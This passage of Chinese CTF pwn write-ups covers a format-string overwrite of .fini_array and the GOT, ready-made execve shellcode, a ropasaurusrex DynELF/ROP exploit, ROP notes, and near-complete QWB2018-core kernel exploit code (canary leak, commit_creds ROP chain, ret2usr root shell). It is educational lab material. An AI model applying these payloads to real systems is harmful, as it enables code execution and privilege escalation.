payload = ‘aa’+p32(fini_array_addr+2) + p32(fini_array_addr) + p32(strlen_got+2) + p32(strlen_got) + str(格式化fini+2) + str(格式化fini) + str(格式化strlen_got+2) + str(格式化strlen_got)

9.之后还得确定输出的值:

1
2
3
4
5
6
#注释头

fini_array = 0x08049934
start_addr = 0x080484f0
strlen_got = 0x08049a54
system_plt = 0x08048490

查看代码,由于sprintf的作用,printf的参数s保存的不止有我们输入的,还有Nice to meet you,计算加上aa可得总共有8f-7c+1=0x14个,再加上三个32位的地址12字节,总共32字节,也就是0x20。(计算截至为 str(格式化fini+2)处)

10.另外由于.fini_array的内容为0x080485a0(按d可查看数据),而我们需要更改的start地址为0x080484f0,所以只需要改动大端序列中的85a0变成84f0即可。所以格式化.fini中需要再输出的字节数应该是0x84f0-0x20=0x84D0=34000。而0x08049934+2处的内容本身就是0804,不需要修改。所以只需要修改.fini_array_addr对应的内容即可,(.fini_array+2对应的内容本身就是0804,不用修改)。所以payload可以删去p32(fini_array_addr+2)和str(格式化fini+2)。

11.接着计算,需要将strlen_got+2处的值改成0804,由于之前已经输出了0x84f0所以需要用到数据截断。也就是格式化内容中需要再输出的字节数为0x10804-0x84f0=0x8314=33556。

然后再计算strlen_got的值,需要再输出0x18490-0x10804=0x7c8c=31884。

故都计算完毕,最后payload为:

payload = ‘aa’ + p32(fini_array_addr) + p32(strlen_got+2) + p32(strlen_got) + ’%34000c%12$hn’ + ‘%33556c%13$hn’ + ‘%31884c%14$hn’

12.payload之后,运行完第一次的printf之后,程序会回到start,之后需要再输入字符串io.sendline(‘/bin/sh\x00’)来完整运行system,从而getshell。

Openctf 2016-tyro_shellcode1

1.常规checksec,开了Canary和NX,IDA查找漏洞,找到下列奇怪代码:

1
2
3
4
5
6
#注释头

v4 = mmap(0, 0x80u, 7, 34, -1, 0);
-----------------------------------------------------------------------------
read(0, v4, 0x20u);
v5 = ((int (*)(void))v4)();

可以猜出来是输入到v4中,然后v4被强制转换成函数指针被调用。查看汇编代码也可以看到:

img

这里就没办法判断到底[esp+34h]是不是v4了,因为v4是通过mmap申请的一块内存,虽然在栈上,但是并不知道在哪,需要通过调试才能知道,调试之后发现确实是这样。

2.虽然最开始checksec程序,发现开了NX,那么这不就代表没办法shellcode了吗。调试也发现,除了代码段,其它段都没有X属性,都不可执行。但是我们看汇编代码,是call eax,调用的是寄存器,不是程序段,一定可以被调用的,然后eax中保存的内容就是我们输入的内容啊,所以直接输入shellcode就完事,连栈溢出什么的都不用考虑。

3.那么直接从http://shell-storm.org/shellcode/

查找获取就可以。给出一段可用shellcode:

\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

由于这段shellcode调用的是int80来获取shell的,所以给出下列介绍

▲int 80h:128号中断

1.在32位Linux中该中断被用于呼叫系统调用程序system_call()。

2.read(), write(), system()之类的需要内核“帮忙”的函数,就是围绕这条指令加上一些额外参数处理,异常处理等代码封装而成的。32位linux系统的内核一共提供了0~337号共计338种系统调用用以实现不同的功能。

3.输入的shellcode也就汇编成了EAX = 0Xb = 11,EBX = &(“/bin//sh”), ECX = EDX = 0,等同于执行代码sys_execve(“/bin//sh”, 0, 0, 0),通过/bin/sh软链接打开一个shell。这里sys_execve调用的参数就是ebx的对应的地址。所以我们可以在没有system函数的情况下打开shell。64位linux系统的汇编指令就是syscall,调用sys_execve需要将EAX设置为0x3B,放置参数的寄存器也和32位不同

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

PlaidCTF 2013 ropasaurusrex

1.常规checksec,只开启了一个NX,不能使用shellcode,IDA分析漏洞,程序的sub_80483F4()函数栈溢出:

1
2
3
4
5
#注释头

char buf; // [esp+10h] [ebp-88h]
------------------------------------------------------
return read(0, &buf, 0x100u);

有write函数,没有libc,got表里没有system,也没有int 80h/syscall,没有binsh字符串。

2.这种情况下我们就可以使用DynELF来leaklibc,进而获取system函数在内存中的地址,然后就可以再用read函数来读取字符串。

3.首先编写leak函数,也就是需要调用write函数打印需要泄露的地址

常规的leak函数模式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#注释头

def leak(addr):
payload = ''
payload += 'A'*n #padding
payload += p32(write_addr) #调用write
payload += p32(start_addr) #write返回到start
payload += p32(1) #write第一个参数fd
payload += p32(addr) #write第二个参数buf
payload += p32(8) #write第三个参数size
io.sendline(payload)
content = io.recv()[:8] #接受内容读取通过write打印的地址
print("%#x -> %s" %(addr, (content or '').encode('hex')))
#这里打印不需要也可以,只是可以打印出来让我们看到write打印了什么地址,基本都打印了
return content
#这里return的conten有很多地址,需要通过之后的DynELF来lookup对应的地址

这里的write函数可以换成put或者printf函数,但是如果改变了,那么后面的参数个数也需要发生改变,对应打印函数的形式:

1
2
3
4
5
#注释头

ssize_t write(int fd,const void *buf,size_t count);
int puts(const char *s)
int printf(const char*format, ......);

具体请参考:

https://www.anquanke.com/post/id/85129

4.接下来就需要创建DynELF类来使用

1
2
3
4
5
#注释头

d = DynELF(leak, elf = elf)
#创建DynELF类,传入需要泄露的地址,从elf文件中获取
system_addr = d.lookup('system', 'libc')

5.找到system_addr之后,就可以通过再次利用栈溢出来读取字符串,因为之前write的返回地址已经是最开始的start地址。再次运行到read函数读取第二次的payload,组成为:

1
2
3
4
5
6
7
8
#注释

payload = padding
payload += read_addr #覆盖eip,将sub_80483F4函数的返回地址劫持到read函数)
payload += system_addr #使得read函数的返回地址为system)
payload += p32(fd) #read函数的第一个参数,同时也对应system函数的返回地址
payload += p32(binsh_addr) #read函数读取进binsh的地址,同时也对应system函数的参数
payload += p32(size) #read函数的第三个参数,读取的字符串大小,于system函数无实际意义,但是如果system函数返回了,那么这就是返回之后的eip,下一条执行的代码地址。

6.程序总流程如下:

由于第一段Payload最后write调用后返回到了start,所以又调用sub_80483F4函数,进入读取界面,需要输入第二段payload栈溢出,劫持sub_80483F4函数的返回地址eip为read函数地址,从而进入read函数。之后再次劫持read函数的返回地址为system函数,并且将read的第二个参数,也就是读取进的binsh字符串也传入system函数,从而getshell。

▲call _read函数和直接调用read_plt的区别:

1.call _read函数会push eip,会使得栈中结构从我们原本设置好的:

1
2
3
4
5
6
7
8
#注释头

padding
(call read_addr)_addr
system_addr
fd
binsh_addr
size

变成:

1
2
3
4
5
6
7
8
9
#注释头

padding
(call read_addr)_addr
(call read_addr)_addr下一条指令
system_addr
fd
binsh_addr
size

这个eip没办法改变,因为是call这个指令带来的,这样就会导致在read函数没办法正常读取参数,如果去掉system_addr,又会导致返回到call指令下一条leave要执行时,ebp会指向一个padding,这是在read函数中变成的,从而导致leave指令也出错。

2.但是如果直接调用read_plt,栈中结构为:

1
2
3
4
5
6
7
8
#注释头

padding
read_plt_addr
system_addr
fd
binsh_addr
size

这样Read函数读取完之后,返回时就会直接调用system_addr,完全不用管ebp变成了什么,同时这里也可以直接将binsh_addr传给system,一举两得。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

ROP汇总

一、32位ROP:

1.如果是直接跳转plt表中的地址,那么栈的布置顺序应该是:

system函数-system函数的返回地址-sytem函数的参数。

2.但如果是跳转call system,那么由于call指令会自动push进eip,则栈布置应该为:

call system函数地址-system函数参数。

(两者不太一样,需要加以区分。后面会有got表和plt的详细讲解)

二、64位ROP:

需要传参指令:pop rdi;ret。这里就不用管是plt还是call了,因为传参是rdi传参,返回地址是啥都没关系,多参数的需要万能gadget。

▲64位程序中函数取参数是取rdi中内容指向的内存中的内容,相当于rdi,同样的32位程序中取参是取栈上的内容指向的内存中的内容,相当于[ebp+var_0xh],所以直接输入binsh字符串来赋值给rdi或者赋值给函数参数肯定是不行的,因为这不是一个有效的地址,而是字符串的二进制形式。

三、万能gadget

1.传入got表和plt表的区别:

万能gadget中调用我们想调用的函数为call qword ptr[r12+rbx*8],硬编码为FF,是取r12中保存的内容当作一个地址a,这个地址a保存的内容应该是一个地址b,该地址b指向的地方才是可以被执行的实际代码位置。

例如:

1
2
3
4
5
#注释头

r12: got_a
got_a: 0x111
0x111: mov a b

所以call qword ptr[r12+rbx*8]实际执行跳转到的位置是0x111,而执行的代码是mov a b;只能传入got表,如果传入plt表,那么应该如下:

1
2
3
4
5
6
#注释头

r12: plt_a
plt_a: jmp got_a
jmp got_a: 无效编码地址
#这个jmp got_a转换成硬编码就不是一个有效地址

2.不同的call区别:

FF的call后面跟的是地址的地址。例如call [func], 跳转的地方就应该是func这个地址里保存的内容,也就是*func。

E8的call后面跟的是地址。例如call func,跳转的地方就是func的开头。

▲普通call,EB编码:call fun_c(最常用的)

fun_c: mov a b

相当于直接跳转到fun_c这个地址来执行代码

四、main函数返回的ROP:

1.最开始启动程序时,main函数栈不是汇编代码写的那么大,而应该再大两个0x04用来存放全局偏移,所以计算偏移时就需要再加上两个0x04

2.通过再次进入main函数中之后,程序只会依照汇编代码来构造Mainh函数栈,所以这一次里的main函数栈中就没有全局偏移的东西了,正常计算偏移。

五、技巧性:

1.通过覆盖返回地址调用函数时,可以注意上一个函数栈中的esp的位置,然后直接通过Pop等操作继续往下retn到输入的payload中的函数地址。(RedHat 2017-pwn1)

2.rop主要是找system函数和binsh字符串,没有的话其实用int80可以代替system,然后sh\bash什么的也可以代替binsh字符串。

3.使用int80的话需要设置寄存器,同样如果有其它可以用到的系统调用,可以通过:

http://syscalls.kernelgrok.com/ 这个来查找

4.onegadget需要条件满足,可以直接查:one_gadget libc文件,然后通过调试或者IDA看汇编,观察到达调用onegadget的时候条件满不满足。

5.查找:

1
2
3
4
#注释头

one_gadget libc_so.6
ROPgadget --binary file | grep "pop eax ; pop ebx ; pop esi ; pop edi ; ret"

总结:

所以万能gadget中通过r12,传入跳转函数的地址只能是发生延迟绑定之后的got表地址,而不能是plt表地址或者是没有发生延迟绑定的got表地址,(延迟绑定只能通过plt表来操作,没有发生延迟绑定之前,该got表中的内容是等同于无效的,只是一个extern段的偏移地址,除非该函数func是静态编译进程序里面的,那么got表中的内容就是该函数的真实有效地址,不会发生延迟绑定。)因为plt表中的内容转换成硬编码压根就不是一个有效地址,更别说跳转到该地址保存的内容的地方了。有人说跳转到plt表执行的就是跳转got表,那应该是一样的啊,但FF的call并不是跳转到plt来执行里面的代码,而是取plt表中内容当作一个地址再跳转到该地址来执行代码,所以有时候需要看汇编代码来决定究竟是传入got表还是传入plt表。同样也可以看到plt表中的硬编码是FF,也就是并不是跳转got表,而是取got表中保存的内容当作一个地址再来跳转。

需要跳转函数时,有[]的-只能传got表,没[]的-传plt表(plt表更安全好使,但后面格式化字符串劫持got表又有点不太一样,情况比较复杂)。

需要打印真实函数地址时,传的一定是got表,这样就一定没错。

当有call eax;这类语句时,eax中保存的一定得是一个有效地址,因为这里的call硬编码也是0FF。

1.往puts函数中传入函数在got表中的地址(elf.got)参数可以打印出被加载在Libc中的实际内存地址。

2.用覆盖返回地址ret的形式调用函数需要用函数在plt表中的地址,(elf.plt)这是库函数地址,需要先到plt中,然后再到got表中,这是正常的函数调用。

3.但如果在gadget中,则可以通过给r12赋值来调用elf.got表中的函数,因为这个是call qword ptr[r12+rbx*8],指向的是函数在got表中真实地址,需要的是函数在got表中的地址。如果只是call addr,则应该是call函数在plt表中的地址。

4.万能gadget一般在_libc_csu_init中,或者init或者直接ROPgadget查也可以

QWB2018-core

一、使用Kernel_ROP

1.首先解包,查看init设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#注释头

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

注意三个地方:

1
2
3
4
5
6
7
//注释头

echo 1 > /proc/sys/kernel/kptr_restrict
cat /proc/kallsyms > /tmp/kallsyms ------------------------------------------------------------
insmod /core.ko
-------------------------------------------------------------
setsid /bin/cttyhack setuidgid 1000 /bin/sh

(1)把/proc/kallsysm拷贝到tmp文件夹下一份,而kallsysm中保存了加载内核之后几乎所有的函数调用:

img

img

由于被kptr_restrict设为 1,这样就不能通过 /proc/kallsyms查看函数地址了,但是这里把kallsysm拷贝到了tmp文件夹下,那么就可以从tmp文件夹下的kallsysm找到所有需要的地址,包括gadget。

(2)insmod /core.ko,挂载了目录下的core.ko驱动程序,通常这个驱动程序就是漏洞的所在点,用IDA打开分析。

(3)setsid /bin/cttyhack setuidgid 1000 /bin/sh,这个就是设置用户权限了,1000为权限ID,如果设置为0就是root权限了,为了调试,可以先设置成0方便点。

2.再看下start.sh启动qemu的设置:

1
2
3
4
5
6
7
8
9
10
#注释头

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

可以看到加载了core.ko驱动,并且开启了kaslr。

3.然后分析下core.ko代码,漏洞点在core_copy_func函数和core_write函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#注释头

#core_write函数:
if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )


#core_copy_func函数:
__int64 v2; // [rsp+0h] [rbp-50h]
-------------------------------------------------------
if ( a1 > 63 )
{
printk(&unk_2A1);
result = 0xFFFFFFFFLL;
}
else
{
qmemcpy(&v2, &name, (unsigned __int16)a1);
}

(1)name是全局变量,core_write函数从用户空间拷贝了v3长度到name中,而core_write函数可以通过exp中调用write,write(core_fd, data, 0x800);打开该驱动从而调用驱动中的core_write函数,将我们的data写入到name中。

(2)之后由于core_copy_func函数可以通过ioctl函数直接传参调用,所以其中的a1受到我们控制,然后对a1的检查又只有一个if(a1>63),存在整数转换的漏洞,也就是如果a1为负数,就能够通过if语句,那么通过qmemcpy(&v2, &name, (unsigned __int16)a1);函数的隐形转换,就可以从name拷贝很大的数据到v2上,而v2在内核栈上,那么就可以对内核栈进行栈溢出。

4.可以构造rop链尝试了,但是这里还有一个canary,Leak漏洞在core_read和ioctl函数上:

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

#core_read函数:
__int64 v5;
--------------------------------------------------------
result = copy_to_user(v1, (char *)&v5 + off, 64LL);

#ioctl函数:
case 0x6677889C:
printk(&unk_2CD);
off = v3;
break;

off是全局变量,可以通过调用ioctl函数来设置。v5是core_read内核函数栈上的变量,可以使得off适当大一些,从而泄露出canary。

5.现在尝试构造exp:

(1)首先找地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
//注释头

//找到内核加载基地址vmlinux_base和prepare_kernel_cred函数、commit_creds函数地址
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);

}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}

这里的0x9c8e0和0x9cce0都是通过ROPgadget查找vmlinux找出来的,不过找到的地址是相对偏移加上了0xffffffff81000000,所以这里需要减去得到相对偏移。

img

(2)然后泄露canary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//注释头

void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);
}
----------------------------------------------------------------------
void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}
---------------------------------------------------------------------
set_off(fd, 0x40);

char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);
//这里fd为int fd = open("/proc/core", 2);

(3)构造rop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//注释头

ssize_t offset = vmlinux_base - 0xffffffff81000000;
size_t rop[0x1000] = {0};
for(int i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs; // cs
rop[i++] = user_rflags; // rflags
rop[i++] = user_sp; // rsp
rop[i++] = user_ss;

这里rop链构造一般分为

①覆盖返回地址,执行commit_creds(prepare_kernel_cred(0) )函数,提权,即:

1
2
3
4
5
6
7
8
9
10
//注释头

rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

②通过swapgs和iretq返回用户态:

1
2
3
4
5
6
//注释头

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

▲这里的swapgs和iretq最好用objdump -d vmlinux > gadget来保存寻找,如果用ROPgadget或者ropper可能不识别,从而无法找到。

③着陆开shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//注释头


void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
----------------------------------------------------
rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs; // cs
rop[i++] = user_rflags; // rflags
rop[i++] = user_sp; // rsp
rop[i++] = user_ss; // ss

(4)最后输入rop链,提权执行:

1
2
3
4
5
6
7
8
9
10
//注释头

void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}
--------------------------------------------------------------
write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));

▲需要注意的是在程序进入内核态之前需要保存下用户态的参数,不然之后没办法返回用户态开shell:

1
2
3
4
5
6
7
8
9
10
11
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

二、使用Ret2usr技术:

1.在这道题中与ROP差不多,唯一的区别在于提权的时候:

(1)ROP技术中,利用思想和常规pwn题一样,rdi传参之后寻找Gadget来调用commit_creds(prepare_kernel_cred(0))。

(2)Ret2Usr技术中,由于我们是直接运行我们的二进制文件exp,所以在exp文件内声明定义的函数会被加载到exp的进程中,可以直接在exp中调用,不需要rop。但是这里如果直接调用system(“/bin/sh”)没什么用,权限仍然不是root,还是需要调用commit_creds(prepare_kernel_cred(0))提权才行,所以这里就可以利用泄露出来的地址直接构造该函数调用即可,而不用再rop来调用了。

就相当于将以下代码替换一下:

1
2
3
4
5
6
7
8
9
10
//注释头

rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

替换成:

1
2
3
4
5
6
7
8
9
10
11
12
//注释头

rop[i++] = (size_t)get_root;
------------------------------------------------
//函数定义为:
void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
/* puts("[*] root now."); */
}

最开始我想为什么不直接运行调用,后面才知道是特权模式问题。如果直接调用,就会出现访问错误,因为我们构造的函数的函数地址是在内核空间中,而用户空间是无法运行内核空间的函数。所以需要调用write(fd, rop, 0x30 * 8);进入到内核空间,获得特权模式下ring0的权限,然后运行用户空间的get_root()函数,再进入到内核空间寻找对于的commit_creds函数和prepare_kernel_cred(0)结构体,从而提权。

参考资料:

ctfwiki